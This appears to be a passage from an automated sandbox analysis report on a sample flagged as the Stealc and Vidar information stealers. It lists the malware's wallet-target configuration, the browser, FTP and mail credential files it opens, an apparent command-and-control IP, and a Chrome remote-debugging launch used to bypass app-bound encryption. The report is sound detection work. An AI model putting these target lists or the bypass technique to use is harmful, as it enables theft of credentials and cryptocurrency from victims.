Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Exodus\exodus.conf.json*k33
Source: file.exe, 00000001.00000002.2724080471.0000000000984000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000001.00000002.2724080471.0000000000984000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2724080471.0000000000984000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\SYSTEM32\edputil.dlll.dllExodus\exodus.wallet\seed.secol
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RCIIZOAMers\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000001.00000002.2724080471.0000000000984000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2724080471.0000000000984000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000001.00000002.2724080471.0000000000984000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000001.00000002.2724080471.0000000000984000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\SYSTEM32\edputil.dlll.dllExodus\exodus.wallet\seed.secol
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 884, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2724080471.0000000000901000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2725070712.000000000109E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2201312875.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 884, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 884, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB60C40 sqlite3_bind_zeroblob,	1_2_6CB60C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB60D60 sqlite3_bind_parameter_name,	1_2_6CB60D60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA88EA0 sqlite3_clear_bindings,	1_2_6CA88EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB60B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	1_2_6CB60B40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA86410 bind,WSAGetLastError,	1_2_6CA86410
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA860B0 listen,WSAGetLastError,	1_2_6CA860B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA8C030 sqlite3_bind_parameter_count,	1_2_6CA8C030
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA86070 PR_Listen,	1_2_6CA86070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA8C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	1_2_6CA8C050
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA122D0 sqlite3_bind_blob,	1_2_6CA122D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA863C0 PR_Bind,	1_2_6CA863C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA89480 sqlite3_bind_null,	1_2_6CA89480
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA894F0 sqlite3_bind_text16,	1_2_6CA894F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA894C0 sqlite3_bind_text,	1_2_6CA894C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA89400 sqlite3_bind_int64,	1_2_6CA89400

